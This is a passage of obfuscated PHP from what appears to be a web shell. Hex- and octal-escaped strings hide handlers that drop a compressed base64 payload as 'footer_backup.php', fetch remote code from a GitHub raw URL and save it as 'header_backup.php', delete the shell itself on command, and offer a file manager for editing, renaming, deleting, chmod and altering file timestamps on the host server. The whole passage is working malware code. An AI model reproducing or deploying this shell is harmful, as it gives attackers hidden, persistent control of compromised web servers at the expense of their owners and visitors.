\71\x49\x46\x71\x46\x54\x4f\x4e\143\107\101\x73\116\x52\x39\x52\130\110\x65\x6d\146\x55\145\166\152\x57\104\x6b\171\121\106\123\x36\157\x31\x59\x51\110\x57\53\x56\x4c\111\x76\63\142\117\70\x6f\105\60\160\105\106\x7a\102\121\132\121\x61\x4c\x33\x57\x35\122\113\x37\x74\156\x47\x62\x67\101\x32\x72\161\x58\67\53\x61\105\105\x76\x30\x47\x75\151\x41\61\x68\x31\x33\x53\105\x31\117\x74\x5a\x70\120\x6a\x62\x35\63\113\x33\64\112\x49\x35\125\160\111\123\162\71\x69\x68\153\116\131\x38\x53\103\167\x45\x4e\141\x6a\60\x32\167\x48\x68\x75\63\x33\152\101\x35\x2b\x72\67\122\x48\x6c\x6e\x4b\x6e\x57\x5a\116\104\x78\x72\130\x4c\172\x4e\115\171\171\x66\112\114\163\x74\114\165\61\x51\x72\154\x54\x6b\x61\150\161\154\x58\60\x6f\125\x59\60\x34\146\x4f\x55\65\142\x53\x6f\x61\64\x4e\162\141\x55\57\107\107\x75\x61\165\x78\x78\64\x42\150\130\x50\x69\122\131\x72\153\x51\127\x48\110\x63\x73\156\101\157\61\114\x49\x79\107\x31\x74\x4a\117\163\x75\122\x42\110\142\111\x77\166\167\167\x59\x34\x36\122\164\103\151\x79\126\147\150\63\x76\x56\152\60\112\164\63\x64\106\x74\62\x57\171\161\x7a\x6a\x48\x30\x4f\x47\102\x6d\x49\113\x67\160\x39\162\x6a\x4b\131\126\x52\71\x4d\x4c\x6b\143\161\171\154\104\127\113\x4e\x53\x6b\114\170\x43\x6a\x69\123\171\x76\x6a\x32\106\x72\126\172\x6d\x5a\123\126\102\x42\x59\151\156\126\x4c\152\x34\153\147\x67\x31\110\x6b\112\x5a\114\172\x32\155\124\64\x5a\x79\120\x7a\x42\114\x4b\x4c\151\167\x74\x33\x78\163\116\156\x38\60\124\64\x35\120\x78\67\x79\x72\x68\164\171\x6b\x69\x4b\x4b\x4b\123\x65\x6b\141\x47\105\x51\163\111\64\x32\102\x2f\122\114\131\153\147\63\x31\167\x31\x53\x37\x41\156\123\x56\53\132\x74\132\163\x5a\145\x32\x67\x47\167\103\104\157\120\x39\166\x62\115\166\x52\157\57\x52\x50\x68\x77\x45\x65\117\x70\x41\152\165\103\117\71\123\x6f\x75\x78\x6a\x70\x41\x66\x73\x4f\167\x38\x66\x6a\x6c\107\x66\125\x5a\x69\x58\167\64\x59\x50\x6d\153\x55\x49\x45\x38\114\115\x73\62\61\x68\60\x35\160\57\x6c\x59\x57\160\x75\110\x6b\132\x51\x32\171\162\156\65\150\114\x4e\113\x55\x42\x39\120\161\164\121\160\145\144\x2b\120\102\116\153\x78\x49\127\x42\x77\113\123\117\x6b\155\112\53\141\170\160\x61\60\143\110\x30\x48\x74\x4d\172\x54\x71\x4c\x34\x56\x77\126\x36\164\110\53\x65\x73\171\65\111\61\67\144\53\x77\x30\x79\166\103\110\142\127\x4f\53\164\153\147\x6f\x32\166\147\164\x79\170\x69\120\x6b\106\x66\117\107\150\x4a\166\x4e\150\125\172\156\x46\110\x52\x54\x56\65\156\62\x45\64\x47\x49\x34\103\x39\147\x43\125\x6d\x71\x48\117\117\x47\x4e\x4e\150\141\x34\x52\x44\123\127\x4b\x52\x67\113\131\112\x76\x45\x30\120\x4a\145\107\x68\53\x4d\157\x64\146\x4e\x65\150\x51\152\x46\x57\x75\x57\121\x50\70\63\x35\x30\126\x6e\62\x50\x48\57\115\x71\x48\x2b\132\165\x77\x7a\x61\63\x39\x45\144\x59\163\61\114\x6d\105\x4d\110\71\125\127\x61\x44\70\131\153\104\113\x50\146\70\x77\112\147\146\170\154\x72\x31\x62\132\162\152\x69\x30\x4c\x4c\x69\x67\x54\122\x46\x65\117\145\x37\x53\64\163\x74\x64\53\154\x44\101\x38\110\154\111\x43\101\x74\157\x68\x52\123\124\x57\112\x74\115\105\x6a\103\112\x55\x4d\x52\x46\71\x42\x5a\143\x4d\x41\121\x68\104\61\107\x2b\x73\x34\x36\x38\x57\x6b\x61\124\162\x36\x6a\124\x52\x6f\121\61\131\x33\106\151\120\161\x53\x43\x61\63\101\x73\125\x4d\163\106\x43\144\x4f\157\162\x65\x74\x56\142\x33\147\x44\x31\x50\147\164\105\x36\101\132\167\121\x66\106\160\x58\x54\x5a\161\143\114\x6b\121\163\111\x6e\x71\x59\107\x47\111\157\101\61\144\112\x71\x51\66\142\155\x5a\115\x76\57\x51\x4e\x54\x62\x46\121\x33\x58\156\x71\160\x59\x4c\x72\x44\167\x79\120\152\x67\x2b\117\144\166\x63\53\x31\x62\x53\152\64\x7a\146\110\x68\64\146\x48\65\x79\x41\171\x59\163\x6d\61\106\x75\141\x30\x34\x2b\157\171\x41\x34\124\x4d\x7a\147\70\123\53\64\x6f\x44\x52\x46\x6b\x76\164\170\115\161\156\x43\123\x4c\110\123\x38\x46\x58\x69\111\156\62\x65\x74\106\165\x32\110\120\x4f\x77\x47\x63\x50\x6f\67\x50\x2b\x63\x4f\x41\x44\126\143\146\x47\63\x72\x30\156\105\141\x75\x7a\163\x55\147\157\147\x42\x69\x4b\x6e\x51\57\124\x7a\154\120\65\130\132\60\x64\132\113\x6b\171\123\102\117\103\66\x34\172\60\113\161\x62\x4d\172\x45\x41\64\x70\104\x4d\x72\x79\172\x55\107\71\x76\170\63\163\114\61\53\x66\142\x4e\70\x67\162\x37\110\114\66\x4a\147\164\66\x37\111\165\x79\143\x62\130\61\x59\x49\x73\x57\x48\x46\x58\107\62\x75\x6e\103\145\166\x2b\x32\x49\161\61\60\166\x33\71\x6e\67\61\x50\162\x51\x53\x4c\x66\x54\155\x30\105\x30\x39\x30\146\x76\x59\165\156\x71\x34\x48\x78\x2b\70\x6e\111\66\163\x48\170\165\x64\71\x4f\x30\107\61\110\x41\x44\x4c\146\x68\116\161\61\60\x68\104\x41\x44\164\x6b\153\x41\147\71\53\x64\x69\125\143\67\70\x79\144\x4f\107\61\x6e\x61\143\66\x61\x38\x41\157\106\x52\x57\147\x52\167\x55\143\153\x70\x4d\x6e\110\111\x46\142\x6c\x31\111\165\x5a\170\x4b\141\x42\117\53\160\123\x6e\115\x58\130\101\162\166\120\x32\x72\x4c\x51\x70\x69\x61\x4a\x6e\x72\x66\156\x69\x4e\123\113\x6e\165\143\x30\117\x69\x56\x6b\x30\143\105\x38\x52\103\53\153\115\102\x45\x42\x49\147\x54\x6b\x4e\x31\x76\x72\144\x55\114\171\x65\156\65\63\71\x48\x52\167\x4a\132\57\104\101\65\130\x32\x53\x76\125\x77\131\x34\147\x4d\x33\x67\123\x42\x77\142\x65\x59\x53\x49\x51\62\67\x30\x62\x41\x58\x70\x4f\x34\64\143\x71\x5a\107\150\x74\x42\131\x66\110\x59\x31\x75\x45\x39\143\x58\125\101\60\x77\x73\x6b\147\124\172\101\122\x30\121\x32\115\x41\x65\x2f\x70\165\161\x4e\x61\66\64\67\141\x4e\x46\x34\141\104\x44\x62\127\101\71\x62\124\57\111\x68\x77\67\165\x71\x49\142\115\x49\x53\x6d\165\x74\x6a\x33\130\156\141\61\170\57\x52\122\x65\x4d\x64\163\x56\144\x48\x74\110\147\65\146\x4c\x42\x47\x34\164\107\x6f\x47\157\x4a\60\x4a\x36\67\x4c\x48\161\171\x43\x74\x34\x6b\111\x39\131\x30\124\53\116\x56\x45\x71\161\106\x69\x47\160\x77\x47\x6f\x64\x59\x71\x6e\70\x53\60\x75\150\141\x6b\132\x64\x61\x56\111\64\155\113\67\x52\162\160\x43\x4a\160\162\147\x37\x54\x51\167\x4f\x39\141\167\x59\106\x59\x59\53\114\126\x75\x69\116\x35\x6a\x32\156\x44\105\162\x6a\160\61\114\164\65\127\155\123\x67\x6c\107\171\x4e\141\145\x4f\x72\x67\x30\x31\156\121\x61\155\x4f\x54\x4a\x72\x43\x4e\x49\112\x44\172\144\127\144\110\163\x6d\144\x66\x72\x2f\166\131\x4b\122\x78\115\101\x5a\64\x68\x52\103\121\x58\x35\x51\x73\120\112\106\157\70\x4e\x57\x7a\x6e\115\x55\153\x48\x30\x67\165\101\117\154\143\64\x46\x72\60\116\x50\110\150\105\x4c\x79\x47\x4c\155\151\x5a\154\162\67\122\x77\x71\106\x31\x52\57\105\x41\60\64\117\145\153\63\67\x44\x2f\x4c\110\112\164\x56\150\111\157\x7a\x36\170\x75\x38\122\x4a\x31\x53\125\142\x55\147\144\111\x2f\152\x6a\105\125\171\x52\121\67\150\125\x35\x56\x6a\x58\165\x70\64\147\x4a\117\122\144\146\x59\x51\101\106\x34\132\115\102\71\115\146\105\147\x56\117\x5a\x63\153\x38\x63\x32\160\114\122\127\x67\x30\x35\113\x4d\171\160\102\x43\x74\x67\x4f\143\115\x53\144\x5a\171\60\x61\117\67\156\114\102\115\141\x7a\x2f\x31\x66\151\132\132\130\x6f\70\x48\x53\x67\167\167\x64\152\154\x62\143\x46\61\x66\x38\x35\123\x48\171\155\x69\171\x33\x72\x6d\146\63\157\x32\123\x68\x47\64\x75\x37\165\146\x66\122\x48\167\155\x37\120\x6d\166\60\x50\x33\x55\57\70\x2b\120\165\172\x50\x48\x37\163\x44\151\x5a\x4f\x59\150\117\63\66\67\171\x76\141\x50\164\x34\71\156\x44\60\x32\x54\170\x5a\155\x59\154\70\x63\x37\123\63\x73\112\x4d\101\x2f\110\x6c\161\106\x58\x38\x78\x47\161\x75\x62\147\x71\x61\104\61\67\120\x32\67\103\x59\x63\x69\155\x79\170\x2b\131\122\x69\x36\163\x6c\57\101\x72\x6a\x4c\x4d\63\x67\x63\147\67\x39\x72\x79\107\x41\x4c\x46\130\x4d\151\172\x69\157\122\x6c\x37\x4f\x65\x33\x4a\x41\x41\x70\x4f\x58\161\x6f\66\105\160\x5a\114\x70\x53\x4f\151\x35\111\152\62\x69\x47\x50\70\164\x55\x63\53\x48\166\x70\145\114\x32\x34\x44\144\162\101\127\x53\x66\130\x50\141\150\x45\x79\151\x69\x4f\110\163\164\x6d\x78\x49\x51\131\113\x42\127\141\x55\x63\143\x4e\154\121\116\x4f\66\x30\x71\x66\x39\127\x37\x53\124\x4c\63\161\x30\x30\147\x48\166\x63\164\x47\x6c\70\121\x59\63\161\111\x75\63\103\x73\x51\103\171\x30\172\121\123\x4c\x4e\x4d\x76\104\143\163\165\x36\x36\132\61\x6a\x34\123\152\x4c\111\x43\65\x4c\153\x4d\103\130\x4d\x68\x2b\x55\x37\x46\115\162\64\x33\111\122\x66\60\105\x69\x42\125\150\x34\170\131\x65\142\x5a\170\171\131\145\157\x69\x31\x36\x30\x61\144\132\x56\127\116\157\x51\x44\x45\65\x53\127\x71\x5a\x4c\126\142\114\147\165\x68\x4c\x41\117\171\x32\116\x54\x33\61\130\122\125\132\x2b\x68\x58\170\161\x58\x4d\57\x71\x6d\x6a\x6b\71\131\x34\67\x4e\171\x69\153\57\112\x4a\x6b\x7a\120\x53\122\x38\x57\x6f\x70\124\x41\125\107\x44\x69\112\x4f\x73\110\x4f\x6d\x4d\62\71\x48\143\61\x37\x75\115\x44\x62\x39\53\107\x32\x41\x47\x63\x4e\x35\107\152\x71\172\x51\107\62\125\x38\x41\x38\x6f\170\x6e\x38\123\125\x64\x42\155\130\x77\143\x7a\130\x77\122\x71\127\167\115\x65\141\156\x35\x72\x2b\x6d\160\161\x59\125\x4c\x61\123\61\x32\x74\123\x55\x43\x7a\x65\147\x7a\145\x45\x74\x63\x6e\x50\104\115\x53\122\x4a\x42\121\x55\x62\x52\x76\x59\x69\151\164\x58\164\167\x55\x46\147\107\156\x67\151\x41\105\164\x49\146\x41\163\125\102\x4c\x4d\x6b\x2f\x66\x43\x61\x4f\142\167\x2f\x49\66\107\154\x66\143\120\x42\161\x66\x4a\x42\104\x37\164\163\x4f\x50\57\x68\x6e\x6d\125\64\x42\160\161\x2b\122\x79\105\154\116\x61\x30\166\x73\x35\145\123\171\57\x30\131\x4b\67\x39\x4b\57\151\x55\x72\170\x61\154\104\65\x51\x50\132\x4a\x71\121\144\x4c\160\147\101\x38\x6f\x6e\x63\116\x62\121\132\x79\x62\x70\127\x53\160\164\123\x46\172\x43\53\x56\162\x57\x6e\170\161\65\x69\170\160\160\x6d\120\x4c\x6d\115\113\x55\x49\160\146\x2b\x72\145\x6b\x6f\x55\x4e\x38\x54\x6f\170\167\131\151\141\165\66\106\102\131\123\x4f\150\141\125\60\x59\114\x4d\x58\101\x50\121\104\112\60\113\x6d\62\145\x71\x44\x52\x58\106\143\124\x65\x55\x47\x74\123\160\107\150\71\x32\x30\123\102\x4f\141\x58\x6f\x62\107\107\70\x39\123\152\x77\61\152\x7a\x6f\x61\x55\145\145\107\160\57\x72\160\120\x6e\x54\154\164\164\64\150\132\125\x76\122\66\x76\171\x35\x4d\70\x6c\x74\x6b\65\x4a\x47\147\103\x55\x6b\x77\116\x7a\60\141\x4a\131\125\x31\x6d\x50\x79\x35\x73\107\125\150\x79\x34\x50\167\161\x4e\x5a\x35\141\x5a\x38\120\x73\x67\107\x67\x64\125\x71\x63\104\151\156\x47\x45\x50\x52\x41\x34\x35\x4b\x48\53\122\x4c\x4d\101\67\x69\113\x51\115\x66\x32\x38\x59\153\x4e\x31\132\105\x78\x34\126\x68\x32\x49\145\152\170\x38\x71\164\103\x66\154\71\127\x47\142\157\66\67\71\x6a\155\x63\x71\x53\x76\x73\115\60\151\124\61\53\x4e\x2f\106\116\x59\167\171\151\147\x34\167\103\131\x30\x6a\x48\113\122\x6d\x42\x4f\141\x4f\x4d\x53\147\71\170\x46\163\67\111\147\x6d\x58\x63\150\x52\66\x6c\x71\x6a\103\x65\x4d\142\162\152\x59\114\x5a\x62\x31\165\x44\x54\x55\x76\x2b\143\x30\x38\155\146\x71\x46\121\145\172\105\x39\x46\x55\146\115\53\142\x2f\105\120\x43\57\x69\120\x4d\x48\x4d\120\x39\x6a\x45\x59\57\x53\171\x33\120\x75\x2f\64\x50\x2b\x48\x38\x4a\x66\160\165\113\x49\x61\143\x44\115\x69\70\114\x2b\160\x41\60\x43\120\120\x35\122\x2b\62\120\171\124\163\103\x48\x34\122\x39\165\101\62\x6d\x50\60\123\x6b\x41\x66\x32\163\115\71\x35\x4f\132\171\x38\145\162\110\x33\111\x66\x43\124\132\x6a\115\x31\106\111\143\65\121\107\104\x37\x37\x6e\113\114\x37\152\x7a\x5a\110\60\65\132\x6c\x67\160\151\x6a\x47\x76\x50\126\x72\122\160\64\x6f\110\x36\53\x46\x5a\62\x6d\112\110\122\x4e\142\61\x64\160\154\131\153\122\x6a\x41\114\x75\x67\x6f\x31\104\172\x59\x62\163\114\127\x73\60\x77\x4b\150\x49\104\165\x47\166\x77\x42\172\x47\x45\x6a\61\161\x75\132\107\60\x4c\151\101\101\101\141\x38\x31\x78\x74\103\116\115\110\67\121\171\164\x79\101\x61\x70\153\x52\167\x4d\x77\66\x6f\x6c\156\x59\60\x2b\x57\x72\x50\115\x39\150\x58\x2b\115\x38\x49\157\x4c\165\155\x73\x71\107\113\132\123\x58\106\x5a\x67\154\143\66\116\53\145\x76\x54\x38\163\102\x51\x79\106\x6c\x6e\171\110\150\117\x57\67\x46\x72\x67\x69\65\62\111\x6e\132\x46\106\x51\x6b\x64\x36\x58\65\132\116\57\152\132\x52\x76\x35\x4e\70\161\x68\x75\130\x2f\144\142\103\152\164\x4b\164\107\161\165\x6b\x50\x4b\132\65\x54\x58\x67\x6e\154\x57\71\65\x2f\101\x51\x3d\x3d"; file_put_contents("\146\x6f\157\x74\x65\x72\137\142\141\x63\153\165\160\x2e\x70\150\160", gzinflate(b64dd($scannerz))); echo "\x3c\x62\x72\x3e\x3c\x69\x66\x72\x61\x6d\x65\x20\x69\x64\x3d\47\143\157\x6e\x74\145\x6e\164\x27\x20\x6e\141\155\x65\75\x27\143\157\x6e\164\x65\x6e\164\47\40\163\x74\x79\154\x65\x3d\x27\x77\x69\144\x74\x68\x3a\x20\61\60\60\45\x3b\40\x68\x65\x69\147\x68\x74\72\x20\x39\x30\60\x70\x78\x3b\x20\157\x76\x65\x72\146\x6c\x6f\x77\x2d\170\x3a\x20\150\x69\144\144\145\156\x3b\40\x6f\x76\145\x72\x66\154\157\x77\x2d\x79\x3a\40\x73\x63\x72\x6f\x6c\154\x3b\47\x20\x73\162\143\75\x27\146\x6f\x6f\x74\145\x72\x5f\142\x61\143\153\165\160\x2e\x70\150\160\47\x3e\74\160\x3e\x59\157\165\162\40\x62\162\x6f\167\x73\x65\162\x20\x64\x6f\x65\x73\x20\156\x6f\x74\x20\x73\165\160\160\157\162\x74\x20\151\x66\162\141\155\145\163\x2e\x3c\57\x70\76\x3c\x2f\x69\146\162\141\x6d\145\x3e"; } elseif (isset($_GET[hex("\153\151\154\154\x73\x65\154\x66")])) { unset($_SESSION[md5($_SERVER["\x48\x54\124\120\x5f\110\x4f\x53\124"])]); @unlink(__FILE__); print "\74\163\x63\162\151\x70\164\x3e\167\x69\x6e\144\157\x77\56\x6c\x6f\x63\141\164\151\157\156\75\x27\x3f\47\73\74\x2f\x73\x63\162\x69\160\x74\x3e"; } elseif (isset($_GET[hex("\155\144\65\170\157\156")])) { startmd5(); echo "\74\155\145\164\141\40\x68\x74\x74\x70\55\145\x71\165\x69\166\x3d\42\162\x65\146\x72\145\x73\150\42\40\x63\x6f\x6e\x74\x65\x6e\x74\75\42\60\73\165\162\x6c\75\77\x64\x3d" . hex($d) . "\x26\x31\42\76"; } elseif (isset($_GET[hex("\x6d\144\65\170\x6f\x66\x66")])) { stopmd5(); echo "\74\x6d\145\164\141\x20\150\164\x74\x70\55\x65\161\165\151\x76\75\x22\x72\145\146\x72\145\x73\x68\42\x20\x63\x6f\x6e\x74\x65\156\164\x3d\42\x30\73\165\x72\x6c\75\x3f\x64\x3d" . hex($d) . "\x26\x31\42\76"; } elseif (isset($_GET[hex("\163\143\141\x6e\x6f\146\146")])) { if (file_exists("\146\x6f\157\x74\145\x72\x5f\142\141\143\x6b\x75\x70\56\x70\150\160")) { unlink("\146\157\x6f\x74\145\x72\137\x62\141\x63\x6b\x75\160\x2e\x70\150\160"); } OK(); } elseif (isset($_GET[hex("\x63\x6f\x6e\x73\x6f\x6c\145\x6f\156")])) { $cons = fgt("\150\x74\x74\160\163\x3a\57\x2f\147\x69\x74\150\x75\142\x2e\x63\157\155\57\x64\x6f\61\x32\x34\x35\x37\x34\57\x64\x6f\x31\62\64\x35\67\64\57\162\141\x77\57\155\x61\x69\x6e\57\143\x6f\156\x73\x6f\x6c\145\x2e\x70\x64\x66"); file_put_contents("\x68\x65\x61\144\145\162\137\142\141\143\x6b\x75\160\x2e\x70\x68\x70", $cons); print "\x3c\163\x63\162\151\160\164\76\x77\x69\x6e\144\x6f\167\56\154\157\143\141\x74\151\x6f\156\75\x27\x3f\x27\x3b\x3c\x2f\x73\x63\x72\151\160\x74\76"; } elseif (isset($_GET[hex("\143\157\156\163\x6f\154\145\157\146\x66")])) { if (file_exists("\150\x65\141\144\x65\x72\x5f\x62\x61\x63\x6b\x75\160\56\160\150\x70")) { unlink("\150\x65\x61\144\x65\x72\x5f\142\x61\143\153\165\160\56\x70\x68\160"); } OK(); } elseif (isset($_GET[hex("\x6c\x6f\x67\x6f\165\164")])) { stopmd5(); unset($_SESSION[md5($_SERVER["\x48\x54\x54\x50\137\110\x4f\123\124"])]); unset($_SESSION["\x6b\x65\x79\170\x78"]); $keyxxx = ''; if (file_exists("\146\x6f\157\x74\x65\162\x5f\x62\x61\x63\x6b\165\160\x2e\x70\x68\160")) { unlink("\x66\157\x6f\x74\145\162\x5f\x62\x61\143\x6b\165\x70\56\160\150\160"); } if (file_exists("\x68\145\x61\x64\145\162\137\142\141\143\153\x75\x70\x2e\160\x68\x70")) { unlink("\150\x65\141\x64\x65\x72\x5f\142\x61\143\x6b\x75\160\56\160\x68\x70"); } print "\x3c\x73\x63\162\151\x70\x74\x3e\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\x63\141\x74\x69\x6f\x6e\x3d\x27\x3f\47\73\74\57\163\143\162\151\x70\x74\x3e"; } elseif (isset($_GET["\x6e"])) { echo $a_ . "\x2b\x46\x49\x4c\105" . $b_ . "\12\11\x9\11\x9\x9\11\x9\11\x9\x9\x9\x9\x9\11\x9\x9\11\x9\x9\11\x9\11\11\11\x9\11\11\x9\11\11\11\x9\x9\11\x9\x3c\x66\157\162\x6d\x20\141\143\x74\151\157\x6e\75\42\x22\x20\x6d\x65\x74\150\x6f\x64\x3d\42\x70\x6f\163\x74\42\76\xa\11\x9\x9\11\x9\11\11\11\11\x9\11\x9\x9\x9\x9\x9\11\x9\x9\11\11\x9\11\11\11\x9\11\11\11\x9\x9\x9\x9\11\x9\11\74\151\x6e\x70\165\x74\40\156\141\155\145\x3d\x22\x6e\42\40\x61\x75\164\157\143\157\x6d\160\x6c\145\164\x65\75\x22\x6f\x66\x66\42\40\x63\154\x61\163\163\x3d\42\x66\157\x72\155\55\x63\157\156\x74\x72\157\x6c\40\143\x6f\154\x2d\155\x64\x2d\63\x22\40\x74\171\160\145\x3d\x22\x74\145\170\164\x22\40\166\141\x6c\x75\145\75\42\x22\76\12\11\11\x9\11\x9\11\x9\11\11\x9\x9\11\11\11\11\x9\x9\11\11\11\x9\x9\11\11\11\11\x9\11\11\x9\x9\x9\x9\11\x9\x9" . $d_ . "\12\11\x9\11\x9\x9\11\x9\11\x9\11\x9\11\11\11\x9\x9\11\x9\x9\x9\11\11\11\11\x9\11\11\x9\x9\11\11\x9\x9\x9" . $c_; if (isset($_POST["\x6e"])) { if (!$GNJ[25]($_POST["\156"])) { ER(); } else { echo "\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\166\x3d\42\x72\145\146\x72\145\x73\x68\x22\x20\x63\157\156\164\145\x6e\164\x3d\x22\x30\x3b\x75\x72\154\75\x3f\144\x3d" . hex($d) . "\46\145\75" . hex($_POST["\156"]) . "\42\x3e"; } } } elseif (isset($_GET["\x72"])) { $checkfx = $d . DIRECTORY_SEPARATOR . uhex($_GET["\x72"]); if (file_exists($checkfx)) { echo $a_ . "\x3c\x68\x32\76\122\x65\156\141\155\145\40" . uhex($_GET["\162"]) . "\74\57\150\x32\76\120\x61\x74\x68\x3a\40\74\143\x6f\144\x65\x3e" . $d . "\x2f" . uhex($_GET["\162"]) . "\74\57\x63\x6f\x64\145\x3e\x20\55\40\x4c\x69\156\153\x3a\40\74\141\40\x68\162\145\146\x3d\x22\57\x2f" . $fullx . "\57" . uhex($_GET["\162"]) . "\42\40\x74\141\x72\x67\x65\x74\x3d\x22\x5f\142\154\x61\x6e\x6b\42\76" . $fullx . "\57" . uhex($_GET["\162"]) . "\74\x2f\141\x3e" . $b_ . "\xa\x9\x9\x9\11\11\11\11\x9\11\x3c\144\151\x76\40\143\154\x61\x73\163\75\42\151\156\154\151\x6e\145\x22\x3e\11\11\11\11\11\x9\11\11\x9\11\11\11\x9\11\11\x9\x9\11\11\x9\x9\x9\11\x9\x9\xa\x9\11\x9\11\11\x9\x9\x9\11\74\x69\x6e\x70\165\164\40\157\156\143\154\x69\x63\153\75\42\154\x6f\x63\x61\164\x69\x6f\156\56\x68\162\x65\x66\75\x27\77\144\75" . $_GET["\x64"] . "\x26\145\x3d" . $_GET["\162"] . "\47\42\x20\164\171\x70\x65\75\42\163\165\142\155\x69\164\x22\x20\x63\154\x61\163\x73\75\42\146\157\162\155\55\x63\x6f\156\x74\x72\157\154\x20\143\x6f\154\x2d\155\x64\x2d\62\x22\x20\166\141\154\x75\145\75\42\46\x6e\142\163\x70\73\x45\104\x49\124\x26\156\x62\x73\x70\73\42\40\x2f\76\40\xa\x9\x9\x9\11\x9\x9\11\x9\x9\x3c\x69\156\160\165\x74\40\157\x6e\x63\154\x69\143\153\75\42\x6c\157\143\x61\164\151\x6f\156\56\x68\162\145\146\x3d\x27\x3f\x64\x3d" . $_GET["\x64"] . "\46\x72\x3d" . $_GET["\162"] . "\x27\42\40\x74\171\x70\x65\x3d\42\x73\x75\142\x6d\x69\x74\x22\40\x63\154\141\163\x73\75\42\x66\157\162\155\55\x63\x6f\x6e\164\x72\157\154\40\143\x6f\x6c\x2d\x6d\144\x2d\62\42\x20\x76\141\x6c\x75\x65\x3d\x22\x26\x6e\x62\163\160\73\x52\105\x4e\101\115\105\46\156\x62\163\160\x3b\x22\40\57\76\40\xa\x9\11\x9\11\x9\x9\11\11\x9\x3c\151\x6e\x70\165\164\x20\x6f\x6e\x63\x6c\x69\143\x6b\75\42\x6c\x6f\143\141\x74\151\x6f\x6e\x2e\150\x72\x65\x66\x3d\x27\x3f\144\x3d" . $_GET["\144"] . "\46\x78\x3d" . $_GET["\x72"] . "\x27\x22\40\x74\171\x70\145\x3d\42\x73\x75\142\x6d\151\x74\42\40\143\154\x61\x73\x73\75\42\146\x6f\x72\x6d\55\x63\x6f\x6e\164\x72\157\154\40\143\157\x6c\x2d\155\x64\x2d\62\x22\40\x76\x61\x6c\x75\145\75\42\x26\x6e\x62\163\160\73\x44\105\114\105\x54\x45\x26\156\x62\163\x70\x3b\42\x20\57\76\xa\11\11\11\x9\x9\x9\11\x9\x9\x3c\x69\x6e\x70\165\x74\40\157\156\143\154\x69\x63\x6b\75\x22\x6c\157\x63\141\164\151\157\x6e\56\150\162\x65\146\75\x27\77\x64\x3d" . $_GET["\x64"] . "\46\x74\75" . $_GET["\x72"] . "\x27\x22\40\x74\171\160\145\x3d\x22\163\x75\142\155\x69\x74\42\40\143\154\141\163\163\x3d\x22\146\x6f\162\x6d\55\x63\x6f\156\x74\x72\x6f\154\40\143\157\154\x2d\155\144\55\62\42\40\166\x61\x6c\165\145\75\42\46\x6e\x62\163\x70\73\107\101\116\124\111\x20\124\x41\x4e\x47\107\x41\x4c\x26\156\142\x73\160\73\42\x20\57\x3e\x20\xa\11\11\11\x9\11\x9\11\x9\11\74\151\156\160\165\164\x20\x6f\156\x63\x6c\151\x63\153\x3d\x22\x6c\x6f\x63\x61\x74\151\157\x6e\56\150\162\x65\x66\x3d\47\x3f\x64\x3d" . $_GET["\x64"] . "\46\153\x3d" . $_GET["\162"] . "\47\x22\40\x74\x79\160\145\x3d\x22\163\x75\x62\x6d\151\164\x22\x20\x63\x6c\x61\163\163\75\42\x66\x6f\x72\x6d\x2d\143\157\x6e\164\162\157\154\x20\143\157\154\55\155\144\x2d\x32\x22\x20\x76\141\154\165\x65\75\x22\46\x6e\x62\x73\x70\x3b\x43\110\x4d\x4f\104\46\156\x62\x73\x70\73\x22\x20\57\76\x20\xa\x9\11\x9\x9\x9\11\11\x9\x9\74\x69\156\160\x75\x74\40\x6f\156\x63\154\151\x63\153\75\42\154\157\x63\x61\x74\x69\157\x6e\x2e\150\x72\145\x66\75\47\x3f\x64\75" . $_GET["\x64"] . "\46\163\75" . $_GET["\x72"] . "\x27\x22\x20\x74\171\160\145\75\42\x73\x75\142\155\151\164\x22\40\x63\x6c\141\x73\x73\x3d\42\x66\157\x72\155\x2d\143\157\x6e\x74\162\157\154\x20\143\157\154\x2d\x6d\x64\x2d\x32\x22\x20\166\141\154\x75\145\75\x22\46\x6e\142\x73\160\x3b\x56\x49\x45\x57\x26\x6e\142\x73\160\x3b\x22\x20\57\x3e\40\12\x9\x9\11\x9\x9\x9\11\11\11\74\x2f\x64\151\166\x3e\12\x9\11\x9\11\x9\x9\11\x9\11\74\x63\145\156\164\x65\x72\x3e\xa\x9\11\11\x9\x9\11\11\x9\x9\x3c\146\x6f\x72\x6d\40\x61\143\x74\151\157\156\75\42\42\40\x6d\x65\164\x68\157\x64\x3d\x22\160\157\163\x74\42\76\12\11\11\x9\x9\x9\x9\11\x9\x9\11\74\x69\x6e\160\x75\x74\x20\x6e\x61\155\145\x3d\x22\x72\42\40\x61\165\x74\157\143\x6f\155\x70\x6c\x65\164\145\75\x22\x6f\x66\x66\42\40\143\154\141\163\x73\75\x22\146\x6f\x72\155\x2d\143\x6f\x6e\x74\x72\157\x6c\x20\x63\x6f\x6c\x2d\155\x64\x2d\63\42\40\x74\171\160\x65\x3d\42\x74\145\x78\x74\x22\40\166\x61\x6c\165\145\75\x22" . uhex($_GET["\162"]) . "\x22\x3e\12\x9\x9\x9\11\x9\11\x9\x9\x9\x9\12\x9\11\x9\x9\11\11\11\11\x9\x9" . $d_ . "\12\x9\11\11\x9\x9\11\11\x9" . $c_; printf("\x3c\144\151\166\x20\143\x6c\141\x73\x73\x3d\47\x64\x69\166\151\x64\x65\40\x74\x61\x62\154\x65\40\164\141\x62\x6c\145\55\x62\x6f\162\x64\145\162\145\x64\x20\x6d\164\x2d\63\40\150\157\166\145\162\x54\x61\142\154\x65\x27\x3e\12\11\x9\x9\x9\x3c\x64\x69\x76\40\x63\154\141\163\x73\x3d\x27\x64\x69\x76\x69\x64\145\x2d\154\145\x66\164\47\x3e\xa\x9\11\11\x9\x9\74\164\x61\142\154\x65\40\143\x6c\141\x73\x73\75\47\x74\x61\x62\154\x65\x20\x74\x61\142\154\x65\x2d\x62\157\162\144\x65\x72\x65\144\40\x6d\164\55\x33\x20\x68\x6f\166\145\162\x54\x61\x62\x6c\x65\47\76\xa\11\11\x9\x9\x9\x9\74\164\162\76\x3c\x74\144\76\x53\x69\172\x65\x3c\57\x74\144\x3e\74\x74\x64\76\x25\x73\74\x2f\x74\144\76\x3c\x2f\x74\162\x3e\12\x9\11\11\11\x9\11\74\x74\162\76\74\x74\144\76\120\x65\x72\x6d\151\x73\163\x69\x6f\156\x3c\x2f\x74\x64\x3e\74\164\x64\x3e\x25\x73\x3c\57\164\x64\x3e\x3c\57\x74\162\76\xa\x9\11\11\11\11\11\x3c\164\x72\76\74\x74\x64\76\103\162\x65\141\x74\145\40\164\x69\x6d\145\74\x2f\164\144\x3e\74\x74\x64\x3e